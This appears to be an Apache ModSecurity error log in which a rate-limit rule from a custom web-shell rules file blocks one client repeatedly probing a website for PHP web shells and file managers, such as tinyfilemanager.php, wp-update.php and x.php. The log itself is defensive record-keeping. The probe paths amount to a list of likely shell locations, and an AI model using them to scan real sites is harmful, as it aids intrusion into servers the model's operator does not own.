[Mon Mar 02 02:22:45.206012 2026] [:error] [pid 53585:tid 53589] [client 20.151.11.236:57484] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plss3.php"] [unique_id "aaSD9XbCvYsvu6kKhM3H4AAAAAE"]
[Mon Mar 02 02:22:45.644660 2026] [:error] [pid 26940:tid 26958] [client 20.151.11.236:63542] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plss3.php"] [unique_id "aaSD9RrUg-j5GLDtRFnllgAAAE4"]
[Mon Mar 02 02:22:46.074974 2026] [:error] [pid 26940:tid 26963] [client 20.151.11.236:63588] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plss3.php"] [unique_id "aaSD9hrUg-j5GLDtRFnlnQAAAFM"]
[Mon Mar 02 02:22:46.494606 2026] [:error] [pid 26940:tid 26953] [client 20.151.11.236:63598] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aaSD9hrUg-j5GLDtRFnlogAAAEk"]
[Mon Mar 02 02:22:46.974679 2026] [:error] [pid 53182:tid 53549] [client 20.151.11.236:58786] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aaSD9vv073cA6eM1YCTrhgAAAMY"]
[Mon Mar 02 02:22:47.459038 2026] [:error] [pid 26940:tid 26944] [client 20.151.11.236:58851] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aaSD9xrUg-j5GLDtRFnlsAAAAEA"]
[Mon Mar 02 02:22:47.895850 2026] [:error] [pid 26940:tid 26948] [client 20.151.11.236:63496] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aaSD9xrUg-j5GLDtRFnltgAAAEQ"]
[Mon Mar 02 02:22:48.324514 2026] [:error] [pid 53182:tid 53558] [client 20.151.11.236:63559] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aaSD-Pv073cA6eM1YCTriQAAAM4"]
[Mon Mar 02 02:22:48.741459 2026] [:error] [pid 53182:tid 53544] [client 20.151.11.236:58828] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aaSD-Pv073cA6eM1YCTrigAAAME"]
[Mon Mar 02 02:22:49.189955 2026] [:error] [pid 26940:tid 26960] [client 20.151.11.236:58769] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aaSD-RrUg-j5GLDtRFnlxAAAAFA"]
[Mon Mar 02 02:22:49.612299 2026] [:error] [pid 26940:tid 26953] [client 20.151.11.236:58870] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aaSD-RrUg-j5GLDtRFnlyAAAAEk"]
[Mon Mar 02 02:22:50.062183 2026] [:error] [pid 53585:tid 53596] [client 20.151.11.236:57495] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aaSD-nbCvYsvu6kKhM3H9AAAAAg"]
[Mon Mar 02 02:22:50.472745 2026] [:error] [pid 53585:tid 53601] [client 20.151.11.236:57550] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aaSD-nbCvYsvu6kKhM3H-AAAAA0"]
[Mon Mar 02 02:22:50.891273 2026] [:error] [pid 26940:tid 26968] [client 20.151.11.236:57540] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aaSD-hrUg-j5GLDtRFnlzwAAAFg"]
[Mon Mar 02 02:22:51.330357 2026] [:error] [pid 53585:tid 53602] [client 20.151.11.236:58817] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aaSD-3bCvYsvu6kKhM3H-QAAAA4"]
[Mon Mar 02 02:22:51.770503 2026] [:error] [pid 53181:tid 53532] [client 20.151.11.236:58757] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaSD-4r_0T1SazTrJOBR8gAAARE"]
[Mon Mar 02 02:22:52.199405 2026] [:error] [pid 53182:tid 53546] [client 20.151.11.236:58800] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaSD_Pv073cA6eM1YCTrmgAAAMM"]
[Mon Mar 02 02:22:52.625199 2026] [:error] [pid 53181:tid 53527] [client 20.151.11.236:63611] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaSD_Ir_0T1SazTrJOBR9wAAAQw"]
[Mon Mar 02 02:22:53.044469 2026] [:error] [pid 26940:tid 26953] [client 20.151.11.236:57528] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaSD_RrUg-j5GLDtRFnl0wAAAEk"]
[Mon Mar 02 02:22:53.454592 2026] [:error] [pid 26940:tid 26944] [client 20.151.11.236:63569] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aaSD_RrUg-j5GLDtRFnl1gAAAEA"]
[Mon Mar 02 02:22:53.899858 2026] [:error] [pid 53182:tid 53562] [client 20.151.11.236:63608] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aaSD_fv073cA6eM1YCTrpAAAANI"]
[Mon Mar 02 02:22:54.381150 2026] [:error] [pid 53585:tid 53598] [client 20.151.11.236:58821] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aaSD_nbCvYsvu6kKhM3IAwAAAAo"]
[Mon Mar 02 02:22:54.859570 2026] [:error] [pid 53585:tid 53602] [client 20.151.11.236:58767] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aaSD_nbCvYsvu6kKhM3IBwAAAA4"]
[Mon Mar 02 02:22:55.354897 2026] [:error] [pid 53181:tid 53528] [client 20.151.11.236:63489] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aaSD_4r_0T1SazTrJOBSAQAAAQ0"]
[Mon Mar 02 02:22:55.802011 2026] [:error] [pid 53181:tid 53525] [client 20.151.11.236:58775] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aaSD_4r_0T1SazTrJOBSCAAAAQo"]
[Mon Mar 02 02:22:56.294473 2026] [:error] [pid 53181:tid 53531] [client 20.151.11.236:58836] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aaSEAIr_0T1SazTrJOBSCwAAARA"]
[Mon Mar 02 02:22:56.728598 2026] [:error] [pid 53585:tid 53588] [client 20.151.11.236:63540] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aaSEAHbCvYsvu6kKhM3IEwAAAAA"]
[Mon Mar 02 02:22:57.154295 2026] [:error] [pid 53585:tid 53607] [client 20.151.11.236:57567] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aaSEAXbCvYsvu6kKhM3IFQAAABM"]
[Mon Mar 02 02:22:57.569002 2026] [:error] [pid 53182:tid 53562] [client 20.151.11.236:57473] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aaSEAfv073cA6eM1YCTrrAAAANI"]
[Mon Mar 02 02:22:57.986257 2026] [:error] [pid 53180:tid 53447] [client 20.151.11.236:63570] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aaSEATPPJpDOBvYnaa1oKgAAAYM"]
[Mon Mar 02 02:22:58.415757 2026] [:error] [pid 26940:tid 26954] [client 20.151.11.236:57570] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aaSEAhrUg-j5GLDtRFnl3QAAAEo"]
[Mon Mar 02 02:22:58.844500 2026] [:error] [pid 26940:tid 26947] [client 20.151.11.236:58768] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaSEAhrUg-j5GLDtRFnl4AAAAEM"]
[Mon Mar 02 02:22:59.344303 2026] [:error] [pid 26940:tid 26948] [client 20.151.11.236:58858] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaSEAxrUg-j5GLDtRFnl5AAAAEQ"]
[Mon Mar 02 02:22:59.773643 2026] [:error] [pid 26940:tid 26949] [client 20.151.11.236:58799] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaSEAxrUg-j5GLDtRFnl6gAAAEU"]
[Mon Mar 02 02:23:00.187751 2026] [:error] [pid 26940:tid 26966] [client 20.151.11.236:58832] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaSEBBrUg-j5GLDtRFnl7wAAAFY"]
[Mon Mar 02 02:23:00.607559 2026] [:error] [pid 26940:tid 26968] [client 20.151.11.236:58837] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aaSEBBrUg-j5GLDtRFnl9AAAAFg"]
[Mon Mar 02 02:23:01.046164 2026] [:error] [pid 26940:tid 26949] [client 20.151.11.236:57478] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aaSEBRrUg-j5GLDtRFnl-wAAAEU"]
[Mon Mar 02 02:23:01.463272 2026] [:error] [pid 26940:tid 26947] [client 20.151.11.236:63582] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aaSEBRrUg-j5GLDtRFnmAQAAAEM"]
[Mon Mar 02 02:23:01.887451 2026] [:error] [pid 53585:tid 53612] [client 20.151.11.236:55839] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aaSEBXbCvYsvu6kKhM3IKQAAABg"]
[Mon Mar 02 02:23:02.310245 2026] [:error] [pid 26940:tid 26957] [client 20.151.11.236:58877] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaSEBhrUg-j5GLDtRFnmCQAAAE0"]
[Mon Mar 02 02:23:02.735306 2026] [:error] [pid 53182:tid 53543] [client 20.151.11.236:57559] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaSEBvv073cA6eM1YCTrsgAAAMA"]
[Mon Mar 02 02:23:03.170658 2026] [:error] [pid 53182:tid 53551] [client 20.151.11.236:57562] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaSEB_v073cA6eM1YCTrtAAAAMg"]
[Mon Mar 02 02:23:03.620453 2026] [:error] [pid 53585:tid 53598] [client 20.151.11.236:57560] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaSEB3bCvYsvu6kKhM3INgAAAAo"]
[Mon Mar 02 02:23:04.056538 2026] [:error] [pid 53182:tid 53567] [client 20.151.11.236:57578] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x/"] [unique_id "aaSECPv073cA6eM1YCTruAAAANc"]
[Mon Mar 02 02:23:04.477167 2026] [:error] [pid 53180:tid 53452] [client 20.151.11.236:55883] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x/"] [unique_id "aaSECDPPJpDOBvYnaa1oMQAAAYg"]
[Mon Mar 02 02:23:04.895832 2026] [:error] [pid 26940:tid 26945] [client 20.151.11.236:57592] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x/"] [unique_id "aaSECBrUg-j5GLDtRFnmEwAAAEE"]
[Mon Mar 02 02:23:05.321459 2026] [:error] [pid 53181:tid 53514] [client 20.151.11.236:55882] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x/"] [unique_id "aaSECYr_0T1SazTrJOBSIwAAAQA"]
[Mon Mar 02 02:23:05.771036 2026] [:error] [pid 53182:tid 53556] [client 20.151.11.236:55883] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aaSECfv073cA6eM1YCTrugAAAMw"]
[Mon Mar 02 02:23:06.216438 2026] [:error] [pid 53181:tid 53522] [client 20.151.11.236:58804] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aaSECor_0T1SazTrJOBSLAAAAQc"]
[Mon Mar 02 02:23:06.642660 2026] [:error] [pid 53585:tid 53592] [client 20.151.11.236:58835] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aaSECnbCvYsvu6kKhM3IQAAAAAQ"]
[Mon Mar 02 02:23:07.088295 2026] [:error] [pid 53585:tid 53601] [client 20.151.11.236:58806] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aaSEC3bCvYsvu6kKhM3IQgAAAA0"]
[Mon Mar 02 02:23:07.506612 2026] [:error] [pid 26940:tid 26950] [client 20.151.11.236:57490] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aaSECxrUg-j5GLDtRFnmFQAAAEY"]
[Mon Mar 02 02:23:07.924364 2026] [:error] [pid 26940:tid 26949] [client 20.151.11.236:63515] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aaSECxrUg-j5GLDtRFnmFwAAAEU"]
[Mon Mar 02 02:23:08.421067 2026] [:error] [pid 53181:tid 53514] [client 20.151.11.236:57506] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aaSEDIr_0T1SazTrJOBSNQAAAQA"]
[Mon Mar 02 02:23:08.834332 2026] [:error] [pid 26940:tid 26963] [client 20.151.11.236:63530] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aaSEDBrUg-j5GLDtRFnmHgAAAFM"]
[Mon Mar 02 02:23:09.293068 2026] [:error] [pid 53182:tid 53563] [client 20.151.11.236:63596] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aaSEDfv073cA6eM1YCTryAAAANM"]
